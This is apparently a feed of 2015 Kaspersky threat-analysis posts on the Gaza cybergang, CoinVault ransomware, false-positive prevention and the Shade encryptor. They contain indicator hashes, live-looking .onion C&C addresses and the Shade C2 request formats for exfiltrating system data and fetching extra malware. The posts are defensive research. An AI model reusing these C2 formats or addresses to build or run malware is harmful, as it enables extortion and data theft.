Malware Alerts

Subscribe to Malware Alerts feed
Online headquarters of Kaspersky Lab security experts.
Updated: 50 min 30 sec ago

Gaza cybergang, where’s your IR team?

Mon, 09/28/2015 - 04:00

Summary information:

Gaza cybergang is a politically motivated Arabic cybercriminal group operating in the MENA (Middle East North Africa) region, mainly Egypt, United Arab Emirates and Yemen. The group has been operating since 2012 and became particularly active in Q2 2015.

One interesting new fact about Gaza cybergang activities is that they are actively sending malware files to IT (Information Technology) and IR (Incident Response) staff; this is also obvious from the file names they are sending to victims, which reflect the IT functions or IR tools used in cyber attack investigations.

IT people are known for having more access and permissions inside their organizations than other employees, mainly because they need to manage and operate the infrastructure. This is why getting access to their devices could be worth a lot more than for a normal user.

IR people are also known for having access to sensitive data related to ongoing cyber investigations in their organizations, in addition to special access and permissions enabling them to hunt for malicious or suspicious activities on the network…

The main infection modules used by this group are pretty common RATs: XtremeRAT and PoisonIvy

Some more interesting facts about Gaza cybergang:

  • Attackers take an interest in government entities, especially embassies, where security measures and IT operations might not be well established and reliable
  • Use of special file names, content and domain names (e.g., has helped the group perform better social engineering to infect targets
  • Increasing interest in targeting IT and IR people, which is clear from most of the recent malware file names used

Other operation names:

  • DownExecute
  • MoleRATs
Political file names targeting Arabic countries

File name: بوادر خلاف جديد بين الامارات والسعودية.exe

Translation: Indications of disagreement between Saudi Arabia and UAE.exe

Filename: “Wikileaks documents on Sheikh ******* *** *****.exe”

File name: صور فاضحـــــة جدا لبعض العسكريين والقضاة والمستشاريين المصريين.exe

Translation: Scandalous pictures of Egyptian militants, judges and consultants

File name: -> الرئيس الفلسطيني محمود عباس يشتم ماجد فرج.exe

Translation: President Mahmoud Abbas cursing Majed Faraj.exe

File name: “مكالمة مسربة بين القائد العام للقوات المسلحة المصرية صدقي صبحي.exe”

Translation: Leaked conversation with the Egyptian leader of military forces Sodqi Sobhi.exe

File name: tasreb.rar

IT and IR Malware File Names VCSExpress.exe Hex.exe Microsoft Log.exe IMP.exe Win.exe Corss.exe WinRAR.exe AVR.exe ccleaner.exe codeblocks.exe HelpPane.exe Hex_Workshop_Hex_Editor-o.exe Help.exe Decoded.exe vmplayer.exe Decrypted.exe procexp.exe crashreporter.exe RE.exe WindowsUpdate.exe PE.exe AVP.exe PE-Explorr.exe Kaspersky.exe PE-Explorr.exe Kaspersky.exe hworks32.exe Kaspersky Password Manager.exe

Other malware file names

وصية وصور الوالد أتمنى الدعاء له بالرحمة والمغفرة.exe

Military Police less military sexual offenses, drug offenses more.exe


IP addresses and domain names used in the attacks Domains IP addresses Malware Hashes 302565aec2cd47bb6b62fa398144e0ad f94385be79ed56ef77c961aa6d9eafbf f6e8e1b239b66632fd77ac5edef7598d a347d25ed2ee07cbfe4baaabc6ff768b 8921bf7c4ff825cb89099ddaa22c8cfd 674dec356cd9d8f24ef0f2ec73aaec88 3bb319214d83dfb8dc1f3c944fb06e3b e20b5b300424fb1ea3c07a31f1279bde 826ab586b412d174b6abb78faa1f3737 42fca7968f6de3904225445312e4e985 5e255a512dd38ffc86a2a4f95c62c13f 3dcb43a83a53a965b40de316c1593bca 058368ede8f3b487768e1beb0070a4b8 e540076f48d7069bacb6d607f2d389d9 62b1e795a10bcd4412483a176df6bc77 699067ce203ab9893943905e5b76f106 39758da17265a07f2370cd04057ea749 11a00d29d583b66bedd8dfe728144850 f54c8a235c5cce30884f07b4a8351ebf d5b63862b8328fb45c3dabdcdf070d0d 9ea2f8acddcd5ac32cfb45d5708b1e1e bc42a09888de8b311f2e9ab0fc966c8c 948d32f3f12b8c7e47a6102ab968f705 c48cba5e50a58dcec3c57c5f7cc3332d 868781bcb4a4dcb1ed493cd353c9e9ab 658f47b30d545498e3895c5aa333ecb1 3c73f34e9119de7789f2c2b9d0ed0440 2b473f1f7c2b2b97f928c1fc497c0650 9dccb01facfbbb69429ef0faf4bc1bda 46cf06848e4d97fb3caa47c17cdd7a9e 4e8cbe3f2cf11d35827194fd016dbd7b 6eb17961e6b06f2472e4518589f66ab9 b4c8ff21441e99f8199b3a8d7e0a61b9 b0f49c2c29d3966125dd322a504799c6 4d0cbb45b47eb95a9d00aba9b0f7daad ca78b173218ad8be863c7e00fec61f2f 18259503e5dfdf9f5c3fc98cdfac6b78 23108c347282ff101a2104bcf54204a8 0b074367862e1b0ae461900c8f8b81b6 76f9443edc9b71b2f2494cff6d4a26a8 89f2213a9a839af098e664aaa671111b Phishing Hashes


Additional references

Coinvault, are we reaching the end of the nightmare?

Thu, 09/17/2015 - 00:00

A day after we published our No Ransom Campaign decryptor in the fight against the CoinVault ransomware, we were contacted by a fellow researcher from Panda, Bart Blaze. He kindly suggested that new variants of this dreadful ransomware were available and that he would happily share them with us. After obtaining the new MD5 hashes for the files, we set out to find more clues, more files, and to analyse what these new malware variants had to reveal: three malware families that had striking similarities with each other.

In the end we found some interesting surprises (for more details about what we found, please read on).

However, the best thing was that, based on our analysis, the National High Tech Crime Unit of the Dutch police was able to apprehend two suspects last Monday.

The story begins with CoinVault

Our search began with the discovery of the first version of CoinVault, in May 2014 (please see the table at the bottom of this post for MD5s and additional information on this, and other, hashes). Interestingly enough, this sample did not run on every computer, so we have omitted any further analysis of this version here.

Then suddenly there was Comhost

Two months after we detected the initial version of CoinVault, we detected two near-identical samples. The two files differed only in how the malware was unpacked and executed from the resource section in the binary.

Both binaries loaded the same payload, an executable known as ‘comhost.exe’. Comhost was completely different from CoinVault in terms of functionality. While CoinVault fell into the category of traditional ransomware (until this point, at least), Comhost was more of an infostealer. If you cannot wait to find out more, please skip forward!

Once executed, the malware resolved the two hardcoded domain names to IP addresses. After that it started the keylogger and a timer. Once the set time had elapsed, the search for bitcoin wallets began. Most likely the attackers implemented this functionality because mining for bitcoins has become increasingly hard.

In addition, the malware was able to execute commands received from the C2.

Back to CoinVault

Fast forward two months and we saw another example of CoinVault. This time the program code had striking similarities with Comhost. For example, some functions such as fixNOIPhosts(), were almost identical, marking a clear connection between CoinVault and Comhost. The design of the program was also very similar to Comhost.

Fortunately, the authors of this piece of malware made a small mistake. Instead of overwriting the original file with encrypted content, they created a new file in the same directory with a ._clf extension.

Next, the original file was deleted by calling the File.Delete() function. Internally, this method was implemented as a call to the Win32Native.DeleteFile() function. The DeleteFile function marked the file as deleted in the MFT entry. This meant that CoinVault victims, who got infected with this specific version of the malware, were probably able to retrieve deleted files during forensic activity (when not too much disk activity had taken place after deleting the file).

The introduction of the S.H.I.E.L.D Runner and added functionality

One month after the appearance of the last CoinVault sample, a new version of Comhost was introduced. This was the first sample that contained the “S.H.I.E.L.D Runner”. The functionality of this particular piece of code has already been discussed in a previous blogpost

Apparently the malware authors were not quite satisfied with the previous version of Comhost. They forgot to add a keylogger functionality (to check for caps lock etc.) Another interesting added feature was the antivirus and default browser collection feature, which sent information on these programs to the C2. However, the most interesting new feature was the ActivecaptionWatcher class, which was able to take screenshots and send these to the C2.

Mailspreader and added obfuscation

In November 2014 we had already written about CoinVault: this post discussed the sample that appeared a few weeks after the last version of Comhost. All the samples that appeared around this date were obfuscated with Confuser. But one thing that we omitted in our analysis was a functionality that we couldn’t really place back then: the internal class ’emailDownloader’.

This class contained some interesting pieces of code that needed to be further analysed. The presence of several executable files was referenced, but where were they? And more importantly, what was their role during the infection?

As it turns out, these files were dropped by the third piece of malware from the CoinVault family: the Mailspreader. The resources section within the binary shows that several files were embedded and we extracted them in order to study them separately.

Code economy is a common pattern between all the modules found within CoinVault samples. The functionality was simple but more than enough to achieve the desired results. A thread was created and then started in order to utilize all the benefits offered by the ‘MailSpreader.exe’ file.

As mentioned before, the C2 we discovered is shared with another sample, which had similar characteristics (MD5 hash value of AF0E5A5DF0BE279AA517E2FD65CADD5C), another indicator of the relationship between CoinVault and Mailspreader.

Using these executable files and a straightforward manner of making the infection ‘invisible’, the bad guys launched a new process that was hidden almost instantly, putting all the malicious email code to work.

We still haven’t answered the question of what these executable files represent, or what their real use is in this ransomware scheme. We’ll start with ‘mailpv.exe’, which was part of CoinVault, presenting some ‘dropper’ methods to actually obtain the primary payload. For ‘nk2edit.exe’ and ‘livecv.exe.’ A quick Google search revealed their true nature: both were legitimate tools used to interact with Outlook and Windows Live messenger.

The file ‘livecv.exe‘ had an MD5 hash of D7FC749BB3B10FCC38DE498E8DB2639A, and presented a verified signature for the executable. As per the developer’s description of the utility, ‘LiveContactsView is a small utility that allows you to view the details of all contacts in your Windows Live Messenger’.

The same happened after checking ‘nk2edit.exe‘ (C1A591727E4519AC0D94C59B680E00E4). This is a convenient utility that interacts with the AutoComplete list address book in Microsoft Outlook.

RIP CoinVault

After the previous release of our CoinVault research, this threat and its creators remained silent for a while. It wasn’t until April 2015 that a new sample was spotted in the wild. The most noteworthy change was the presence of flawless Dutch phrases throughout the binary. Dutch is a relatively difficult language to write without any mistakes. Therefore, we suspected at the beginning of our research that there was a Dutch connection to the alleged malware authors.

Other interesting added functionality was the checking and killing of analysis and detection processes such as processhacker, spyhunter, roguekiller, etc. Moreover, this version also came with support for storing configuration data in .ini files.

Shortly after these new versions emerged, the Dutch police was able to seize the C2 server used by the criminals and provide us with the bitcoin wallet IDs, IVs and keys necessary for creating and providing a decryption tool.

And then…it stopped. We didn’t hear anything about CoinVault for a while and it seemed the campaign had ended.

Hello Bitcryptor

We were right that CoinVault had stopped. However, one month later BitCryptor emerged.

BitCryptor is clearly the successor of CoinVault, since most of the code is exactly the same. However, BitCryptor is not like the previous versions of CoinVault targeting a Dutch audience. All the written Dutch has been removed (as have all the links to CoinVault). A little feature has been added, that runs in the background and checks if the victim has already paid.


Since our initial report on CoinVault, and the presentation of the No Ransom campaign, the cybercriminals responsible for these creations have been trying to modify their creations to keep on targeting new victims. Winning the battle against ransomware is a joint effort between law enforcement, private companies and end-users. In this particular case, by working together, we achieved a great result: the apprehension of two suspects.

Nevertheless, now more than ever, education about how these threats operate and target victims is of paramount importance, along with alerting and reporting new incidents as soon as possible. Thanks to our fellow researcher Bart Blaze for sharing the samples – indeed we had a happy reversing time


0f1830174d7b08c0d1fcd9aea00cdc97 Trojan-Ransom.MSIL.CoinVault.l
10438b6d4f479779234ef60560d2f40c Trojan-Ransom.MSIL.CoinVault.p
174a3f6982d254a74d2db202fd87ec26 Trojan-Ransom.MSIL.CoinVault.f
289b43d3c234585285a38b2a0f4db2e3 Trojan-Ransom.MSIL.CoinVault.i
2f707ed9f368cd5838f5fb76abcd5bd9 Trojan-Ransom.MSIL.CoinVault.q
30bc17990350f44d74f4a2ca25cdb9e3 Trojan-Ransom.MSIL.CoinVault.s
45db7e51b39fd0669b4f78eedc00ad2f Trojan-Ransom.MSIL.CoinVault.n
4d46310bdfdc5c49615be5c61b13c8ae Trojan-Ransom.MSIL.CoinVault.r
4d52e7e6f4dc77c39c50ed84ce1b10b5 Trojan-Ransom.MSIL.CoinVault.s
60a5b27a525ca21026ffff1f0d0baa6a Trojan-Ransom.MSIL.CoinVault.t
648280e5ba36ff038e97e444ecdb9d8e Trojan-Ransom.MSIL.CoinVault.g
716dfea51b1a8d95859cfda38ff7fa9d Trojan-Ransom.MSIL.CoinVault.j
73848ec02d5d9f4d0fdd5be31ef86449 Trojan-Ransom.MSIL.CoinVault.u
78fd303be07db8fa35b98645bef10ca4 Trojan-Ransom.MSIL.CoinVault.v
7fff4eabcdfb21e7884a240e668f1e8b Trojan-Ransom.MSIL.CoinVault.i
876050d738f434fc149970cc0d073dbe Trojan-Ransom.MSIL.CoinVault.w
8e1bdc1c484bc03880c67424d80e351d Trojan-Ransom.MSIL.CoinVault.x
a6499dac9a7b59830c77442eb030c93c Trojan-Ransom.MSIL.CoinVault.a
a76df48770a6cffc62e4d1a21749071b Trojan-Ransom.MSIL.CoinVault.m
a90d5d05728fec4c592393c7f4ec173e Trojan-Ransom.MSIL.CoinVault.e
ac4b5ce347820c8817afd49eacee3ec5 Trojan-Ransom.MSIL.CoinVault.y
af0e5a5df0be279aa517e2fd65cadd5c Trojan-Ransom.MSIL.CoinVault.z
aff8fefe76cc51d5e7120ef3f422ce29 Trojan-Ransom.MSIL.CoinVault.ah
b3a7fc445abfba3429094542049063c2 Trojan-Ransom.MSIL.CoinVault.x
b3bb6facbb557ddd9aada93f6b2efab8 Trojan-Ransom.MSIL.CoinVault.h
b3e1c2fce9763a2bdd08223c406bcf7f Trojan-Ransom.MSIL.CoinVault.aa
b92ec8ccc085b853545fc54781d0c1a3 Trojan-Ransom.MSIL.CoinVault.ab
cb91d0db64d9245426c7789ed00ba4d3 Trojan-Ransom.MSIL.CoinVault.k
d5f291f2bc38873e145f6e6b13fb05db Trojan-Ransom.MSIL.CoinVault.d
e7414d82d69b902b5bc1efd0f3e201d7 Trojan-Ransom.MSIL.CoinVault.b
f293970741bbe0ee0c1b8ce6cb045d4d Trojan-Ransom.MSIL.CoinVault.b

Can an inevitable evil be conquered?

Wed, 09/16/2015 - 04:07

Scanning an object (a file or web resource) with an Internet security program essentially comes down to making a binary decision: dangerous or safe? An antivirus engine puts forward the hypothesis that an object is malicious and then checks whether this is true or not. Since there are, unfortunately, no perfect antivirus solutions, errors can occur. There are two types of error: the first kind is when safe objects are identified as dangerous; the second kind – when dangerous objects are identified as safe. Using the terminology inherited from mathematical statistics, errors of the first kind are called false positives.

Security system developers have varying attitudes towards false positives. Some regard the objective of combating infection as a higher priority. Kaspersky Lab’s position on this is absolutely clear: preventing false positives is as important as protecting against malware. Below, we look at the methods of fighting false positives, using our company as an example.

The negative positive

For the user, a false detection by the security solution means being unable to access a web resource or use a safe program. Regardless of how important a specific file or website is, a false detection is always an annoyance that can lead to a disruption of business processes.

If a program that has just been written by a user is falsely identified as dangerous, its author will send a complaint to the antivirus vendor, analysts will recognize the error and correct it next time the antivirus databases are updated. This usually takes several hours – provided, of course, that the program does not actually do anything beyond what is permissible for legitimate applications.

It is a completely different situation if an operating system component is identified as malicious. This could lead to much more dire consequences, sometimes as grave as system failure. And if this kind of false positive affects a large company, it will inevitably result in downtime and, as a consequence, lost profits. This is why we believe that companies that develop security systems should be very careful about errors of this type and should try to keep them to a minimum.

Reasons for false positives

First of all, it is essential to identify the reasons for such errors. These can vary.

The human factor is one possible reason for a false detection: an antivirus analyst is not immune to making mistakes. It is worth noting, however, that in today’s world instances of this are extremely rare, since nearly all threats (99%) are now detected automatically.

A false positive can occur when developers of legitimate applications use obfuscation (code entanglement) and packing (executable file compression). Cybercriminals often use these methods to make malware analysis more difficult, which is why security systems may suspect such applications of being malicious.

A false positive can be the result of using a generic signature that detects similar malicious objects. We have known for a long time that malicious objects are often variants of the same code. This means that by using more ‘intelligent’ classification methods we can identify a part that is common to all the similar malicious samples and create a single detection logic (i.e. a signature) that will provide detection of all the similar objects. Such generic signatures are created by different detection systems. The broader the criteria used by a system to identify the similar part of malicious objects, the greater the chances of the signature being triggered by a similar but innocuous object.

Finally, an object can be mistakenly identified as malicious by technologies that analyze program behavior. For example, if an unknown application begins to make suspicious changes to the system registry or to send the user’s private data over the network, the component that tracks operating system events should raise an alarm. The program doing this could be quite harmless, just not used very often.

Fighting false positives

Analysts have understood the potential consequences of false positives practically from the inception of the industry. However, both the number of users and the number of Internet threats was thousands of times smaller back then and antivirus databases were released at much longer intervals. This being the case, the methods used 18 years ago to check antivirus databases were fairly uncomplicated: developers had a collection of critical clean files (primarily system files) and the experts simply scanned the collection using the new database before releasing an update. If there was a false positive, the relevant detection was removed after the first complaints were received. That is, the analyst team manually corrected the databases, preventing the threat from reaching a large number of users.

With time, the stream of malware has grown thousands of times, both malicious programs and technologies used to detect malicious objects have become more sophisticated. Kaspersky Lab currently detects 325,000 new malicious objects every day. The range of methods used to combat Internet threats has also broadened: whereas in the nineties signature-based detection methods were quite equal to the task of protecting a computer, now Kaspersky Lab products include technologies that automatically prevent vulnerabilities from being exploited, tools for controlling application privileges, a component that tracks operating system events, and a range of other technologies. In addition, modern legitimate software databases take up terabytes of disk space.

Clearly, in such conditions it is no longer possible to use the archaic methods of fighting false positives. Today’s false positive prevention technologies are much more varied and effective. These methods are used both at the stage of detecting malicious objects and at that of testing and releasing databases. There is also a separate set of methods that help to minimize the chances of false positives appearing while a security product is operating.

Signature control

As Captain Obvious would put it, the easiest way to avoid false positives is to release error-free signatures. This is why special attention is given to the stages in which malicious object signatures are created. But even if an error manifests itself later, there is a way to correct the situation rapidly, even if the databases have already been installed on the user’s machine.

Detection stage (creating static signatures)

First, a dedicated automatic verification system analyzes the static signatures manually added to the databases by virus analysts. This is because a person, concentrating on closely analyzing code, may not see the complete picture. So, when somebody tries to add a signature to the database for an object that the system perceives as clean based on certain criteria, the automatic system reports the potential error to the analyst, together with the reasons for believing the object is clean.

Second, a collection of hashes (unique results of code transformation based on a specific algorithm) for objects known to be ‘clean’ is used to test new signatures for false positives. A signature created using a fragment of malicious code is matched against hashes from the collection. If the system detects that the new signature matches a legitimate object’s hash based on some criteria, a different code fragment is selected to create a signature for the threat.

Kaspersky Lab also keeps a separate database that contains the ‘personal record’ of each malicious object ever analyzed with protection technologies. When creating a detection, the past of a detected object is taken into account: if the object did not raise any suspicion in the past, it undergoes an additional check.

Additionally, a collection of files that have triggered false detections in the past is used for protection against errors. It helps to prevent incidents from occurring again if an object has been slightly modified (e.g. when a new version of a program is released).

Generic signatures are periodically added to static signature databases: if the automatic detection system registers lots of similar malware samples, a single detection logic is created to combat them.

Database testing and release stage

To ensure that signatures (static or generic) will not be triggered by ‘clean’ software, newly created databases are verified using the Dynamic Whitelist knowledge base. It is an enormous, continually expanding collection of legitimate software that also contains additional data on each object (developer, product name, the latest update version and much more). More detailed information on Dynamic Whitelist operation can be found here.

A special department at Kaspersky Lab is in charge of maintaining this collection and providing timely updates. Thanks to agreements signed with more than six hundred software development companies, most popular applications are included in the collection before they become commercially available to a broad user audience.

The system that performs the scanning deserves a separate mention. Since the legitimate software database is enormous and antivirus databases are updated once an hour, using a regular server to do the scanning is not an option. A distributed data processing system was developed specifically for this purpose. It uses dozens of servers and data storage facilities for load balancing.

All signatures that have raised even minor suspicions are entered into a separate register that can be called ‘potentially dangerous verdicts’. Such signatures undergo additional verification, often involving malware analysts.

Rapid response (fighting false positives at the operation stage)

When antivirus databases have passed all the necessary checks, they are distributed to users. The Kaspersky Security Network distributed cloud infrastructure receives statistics on any detections on user machines and tracks how many times each signature has been triggered.

Analysts responsible for releasing signature databases continue to carefully track how products respond to updates. If an anomaly is detected (a threat has been detected on too many user machines within a short time period), this could mean there is a false positive. In that case, an analyst receives an alert and begins to perform additional analysis of the detected object.

If analysis indicates that the object was identified as malicious by mistake, the Record Management System technology is triggered. It can recall a record in a matter of seconds, also using the Kaspersky Security Network. The incorrect signature is removed from databases, as well. If it turns out that a generic signature mistakenly detects ‘clean’ objects among others, analysts change the detection logic and correct the databases. In any case, by the next database update, the error will have been corrected.

Tracking proactive technology errors

At the development stage it is not so easy to check technologies that detect anomalous program behavior on user machines for false positives. Foreseeing all possible actions by the user on the machine and all the possible variants of ‘clean’ software that might be used in the process is virtually impossible. That is why it is primarily cloud technologies that protect users from false detections caused by proactive technologies.

When a product detects an unknown object – i.e. there is no information about it in local antivirus databases – the object’s hash is immediately sent to the cloud infrastructure, which responds with any available information in a split second. If the object is on the white list of trusted software, the object is recognized as safe.

In addition, cloud technologies can verify a suspicious file’s digital signature and the reputation of the company that issued the digital signature certificate. If the reputation is faultless and the certificate is genuine, this also indicates that the object is legitimate. It is worth noting that company reputation and signature data is not static. If incidents are reported, this may result in the loss of trust, leading to a change in the security solution’s response to the same files.

Proactive detection tools require particularly close attention when product functionality is being upgraded. When newly upgraded technologies start working in the field for the first time after lab testing, unforeseen errors may arise. This is why a phased approach is used instead of activating new protection mechanisms in all products at once. First, upgrades are supplied to a limited test group. If this does not result in false positives, the new features are made available to a broader user group. As a result, even if a new technology proves faulty, most users will never be aware of the fault.

Fighting false positives when scanning web resources

It is worth adding a few words about technologies that protect against false positives when scanning web resources. Kaspersky Security Network can track a resource’s reputation history. If malicious content is detected on one of the site’s pages, whether the site will be blocked completely or partially depends on its reputation. If the site has an impeccable reputation, Kaspersky Lab solutions will only block the page that poses a threat to users rather than the entire website.

Kaspersky Security Network also tracks the history of web resource hits. If a site that is popular with users is identified as dangerous, the automatic system will alert analysts, who will do an additional check. This helps to prevent false detections of popular resources.


False detections by security products are unavoidable – there are no ideal solutions. However, it is the objective of vendors to reduce them to a minimum. This is a feasible task.

Kaspersky Lab experts carefully monitor the operation of protection technologies to prevent them from making errors. For each type of object in which a threat can potentially be found (web pages, files, banners, boot sectors, traffic streams, etc.), there are special mechanisms designed to prevent false positives and separate collections of objects known to be clean.

Kaspersky Lab has a dedicated group responsible for improving existing methods of fighting false positives and developing new ones. It investigates each case, analyzes why a false detection occurred and creates tools that help to prevent similar errors in the future.

It is largely thanks to the efforts of this group that virtually no false positives have come up lately in tests of Kaspersky Lab products carried out by independent researchers.

The Shade Encryptor: a Double Threat

Mon, 09/14/2015 - 08:54

A family of ransomware Trojans that encrypts files and adds the extensions “.xtbl” and “.ytbl” emerged in late 2014/early 2015, and quickly established itself among the top three most widespread encryptors in Russia (along with Trojan-Ransom.Win32.Cryakl and Trojan-Ransom.BAT.Scatter). This threat has been assigned the verdict Trojan-Ransom.Win32.Shade according to Kaspersky Lab’s classification. The original name given to the encryptor by its creator is not known; other security vendors detect it as Trojan.Encoder.858, Ransom:Win32/Troldesh.

There has been no appreciable evolution of this Trojan over time – only the format of the encrypted file’s name, the C&C server addresses and the RSA keys have been changing.

There are two main methods used to deliver the malware to victims’ computers: spam messages and exploit kits (in particular, NuclearEK).

When delivered via spam, the user receives a letter with a malicious file attached. The system is infected when the user attempts to open the attachment. The following file names have been used when spreading Trojan-Ransom.Win32.Shade:

  • doc_dlea
  • doc_dlea podpisi.rar
  • documenti_589965465_documenti.rar
  • documenti_589965465_doc.scr
  • doc_dlea podpisi.rar
  • неподтвержден 308853.scr
  • documenti dlea podpisi 05.08.2015.scr.exe
  • akt sverki za 17082015.scr

It should be noted that the file name changes for each mass mailing campaign, so the potential file names are not limited to those listed above.

The second delivery mechanism – via exploit kit – is more dangerous because the infection occurs when the victim unwittingly visits a compromised website. It may be a site belonging to cybercriminals, or a legitimate resource that has been hacked. In most cases, the user is completely unaware of the danger the website poses. Malicious code on the website exploits a vulnerability in the browser or a plugin, and the Trojan is then covertly installed in the system. Unlike the spam delivery method, the victim doesn’t even have to run an executable file.

After Trojan-Ransom.Win32.Shade ends up in the system, it connects to a C&C server located in the Tor network, reports the infection and requests a public RSA-3072 key that is subsequently used to encrypt files (as discussed below). Should the connection attempt fail, the Trojan chooses one of the 100 public keys that are stored within its body for just such an eventuality.

The Trojan then starts encrypting files. While scanning for objects to encrypt, it uses the static list of extensions shown in the screenshot below.

When encryption is complete, a menacing image is set as the desktop background:

The Trojan leaves ransom demands in the files README1.txt, …, README10.txt. The contents of these files are always the same:

However, unlike most other encryptors, Trojan-Ransom.Win32.Shade doesn’t stop there. It doesn’t terminate its process, but instead starts an infinite loop in which it requests a list from the C&C server containing the URLs of additional malware. It then downloads that malware and installs it in the system. This sort of activity is typical of download bots. We have spotted malware from the following families being downloaded:

  • Trojan.Win32.CMSBrute (a more detailed description is provided below).
  • Trojan.Win32.Muref
  • Trojan.Win32.Kovter
  • Trojan-Downloader.Win32.Zemot

Below is the code for the download and listening loop:

It is therefore very important to run a complete anti-malware scan of the computer if the Shade encryptor (or the .xtbl, .ytbl files it creates) is detected. If left untreated, the system will most probably remain infected with several malicious programs downloaded by the encryptor.

Common features of Shade family Trojans
  • Written in C++ using STL and its own classes.
  • Statically linked with Tor client.
  • Uses boost (threads), curl, OpenSSL libraries.
  • Each sample has the URL of a C&C server hardcoded in it. A total of 10 C&C server addresses were identified in various samples, eight of which are currently active. All the C&C servers are located in the Tor network.
  • All strings (including the names of imported functions) are AES encrypted. They are decrypted when the program starts, then the import table is dynamically populated.
  • Prior to setting the new desktop background, the old one is saved in the registry.
  • Typically packed with UPX and an extra packer. Once unpacked, it is 1817 KB in size.
  • Creates 10 identical files named README1.txt, …README10.txt on the victim computer, containing ransom demands in Russian and English.
  • A unique 256-bit AES key is generated to encrypt the contents and the name of each file. The encryption is done in CBC mode with a zero initialization vector.
  • Contains 100 public RSA-3072 keys with the public exponent 65537 (A total of 300 different public keys were detected in various samples).
  • Has the capability of downloading and launching malware.
The cryptographic scheme Generating an infected computer ID
  1. The Trojan obtains the computer name (comp_name) with the help of API function GetComputerName, and the number of processes (num_cpu) with the help of API function GetSystemInfo;
  2. Using the serial number of the system volume, it calculates a 32-bit constant and converts it into a HEX string (vol_const);
  3. Obtains data about the OS version (os_version) divided with the symbol “;” (e.g. “5;1;2600;1;Service Pack 3″);
  4. Creates the string comp_namenum_cpuvol_constos_version;
  5. Calculates the MD5 hash of this string;
  6. Converts the MD5 hash into a HEX string and uses its first 20 characters as the computer’s ID.
Receiving key data

When the computer ID has been generated, the Trojan attempts to connect to the C&C server located in the Tor network, sends the computer ID to it and receives the public RSA key in return. If the connection attempt fails, one of the 100 public RSA keys hardcoded in the Trojan body is selected.

Encrypting files

The algorithm AES 256 in CBC mode is used to encrypt files. For each encrypted file, two random 256-bit AES keys are generated: one is used to encrypt the file’s contents, while the other is used to encrypt the file name. These keys are placed in the utility structure key_data, which is then encrypted with the selected RSA key (so it takes up 384 bytes after encryption) and placed at the end of the encrypted file:

In C syntax, this stricture can be written as follows:

The Trojan attempts to rename the encrypted file using the result of the calculation Base64(AES_encrypt(original file name)).xtbl (e.g. ArSxrr+acw970LFQw.xtbl). Failing this, it simply adds the extension .ytbl to the original file name. In later versions, the Trojan adds the infected computer’s ID and then the extension .xtbl to the file name, e.g. ArSxrr+acw970LFQw.043C17E72A1E91C6AE29.xtbl.

Communication with a C&C server

The address of one C&C server is contained in the Trojan’s body. The servers are located in the Tor network and communication is established using a Tor client that is statically linked to the Trojan.

The sample sends the following requests to the C&C server:

  1. Request for a new public RSA key:
    GET http://<server>.onion/reg.php?i=ID&b=build&v=version&ss=stage
    ID – the ID of the infected computer;
    build – the ID of the specific Trojan sample;
    version – the Trojan’s version (we encountered versions 1 and 2);
    stage – the stage of encryption – request for a new public key or a message about completing file encryption.
  2. Error message:
    GET http://<server>.onion/err.php?i=ID&b=build&v=version&err=error
    error – a base64-coded message about an error during encryption.
  3. Report about the encryptor’s current stage:
    GET http://<server>.onion/prog.php?i=ID&b=build&v=version&ss=stage&c=count&f=finish
    count – the current count of encrypted files;
    finish – the flag showing that encryption has completed.
  4. Information about the system:
    key_number – the number of the selected RSA key (if the key was not received from the server, but selected from the keys contained in the Trojan’s body);
    info – information collected from the infected computer:
    • Computer name
    • User name
    • IP address
    • Computer domain
    • List of logical drives
    • Windows version
    • List of installed software
  5. Request for a list of URL addresses from which additional malware needs to be downloaded and launched:
    GET http://<server>.onion/cmd.php?i=ID&b=build&v=version
Propagation of the encryptor Partnership program

The code that the user is prompted to email to the cybercriminals can have the form ID|0 if the public code was received from the C&C server, or ID|key_number|build|version if one of the public RSA keys hardcoded in the Trojan’s body was selected, with the corresponding number used for the value key_number. ID is the identity of the infected computer, build and version are numeric values that denote respectively the ID of the specific Trojan sample and the encryptor’s version.

While analyzing the Trojan’s samples, we detected several combinations of the ‘build’ value, email addresses used to communicate with the cybercriminals, and C&C addresses. Different ‘build’ values are associated with different email addresses, although the same C&C can serve several different samples of the Trojan:

build C&C email 2 a4yhexpmth2ldj3v.onion 2 a4yhexpmth2ldj3v.onion 4 a4yhexpmth2ldj3v.onion 6 a4yhexpmth2ldj3v.onion 2 e4aibjtrguqlyaow.onion 15 e4aibjtrguqlyaow.onion 12 gxyvmhc55s4fss2q.onion 14 gxyvmhc55s4fss2q.onion 4 gxyvmhc55s4fss2q.onion

We observed the propagation of different samples from the encryptor’s two versions. For each specific sample of the same version of the Trojan there existed a unique combination of ‘build’ (ID of the specific sample) and the email address (for communication with the cybercriminals).

Although we found no partnership notices, based on the data we can assume the Trojan is distributed, and the ransom collected, via a partnership network. Possibly, the malware sample IDs (the ‘build‘ value) and the different email addresses are associated with various partners responsible for distributing this malicious program.


Most of the Trojan infections occur in Russia, Ukraine and Germany. According to KSN data, the distribution of Trojan-Ransom.Win32.Shade is as follows.

Russia 70,88% Germany 8.42% Ukraine 6.48% Austria 3.91% Switzerland 2.98% Poland 1.45% Kazakhstan 1.20% Belarus 1.07% Brazil 0.55% Downloaded malware: Trojan for brute forcing website passwords

Among the malicious programs downloaded by Trojan-Ransom.Win32.Shade is a trojan used for brute forcing website passwords. The internal organization of the brute forcer is very similar to that of the encryptor Trojan itself – it was most probably created by the same team of cybercriminals. This downloaded brute forcer Trojan has been assigned the verdict Trojan.Win32.CMSBrute.

Common features of the CMSBrute family
  • Written in C++ using STL and its own classes.
  • Statically linked with the Tor client.
  • Uses boost (threads), curl, OpenSSL libraries.
  • Each sample has a hardwired URL to one C&C server. A total of three C&C server addresses were detected in different samples. All the C&Cs are located in the Tor network and are different from the addresses encountered in the Trojan-Ransom.Win32.Shade samples.
  • All strings (along with the names of imported functions) are AES encrypted. When the program launches, they are decrypted and the import table is then dynamically populated.
  • Typically UPX packed. Once unpacked, it is 2080-2083 KB in size.
  • Copies itself to one of the C drive folders with the name csrss.exe.
  • Downloads additional DLL plugins. The plugins contain code that determines the content management system (CMS) installed on the targeted site, searches for the administration console and cracks passwords. We have detected plugins for websites based on Joomla, WordPress and DataLifeEngine.
Communication with the C&C server

Each sample of Trojan.Win32.CMSBrute contains the address of one C&C server. The servers are located in the Tor network and communication with them is established using the Tor client that is statically linked to the Trojan.

The sample sends the following requests to the C&C server:

  1. Register new bot:
    GET http://<server>.onion/reg.php?n=ID&b=build&v=version&sf=stage
    ID – the ID of the infected computer. It is calculated using a slightly different algorithm than the one used for the Shade encryptor;
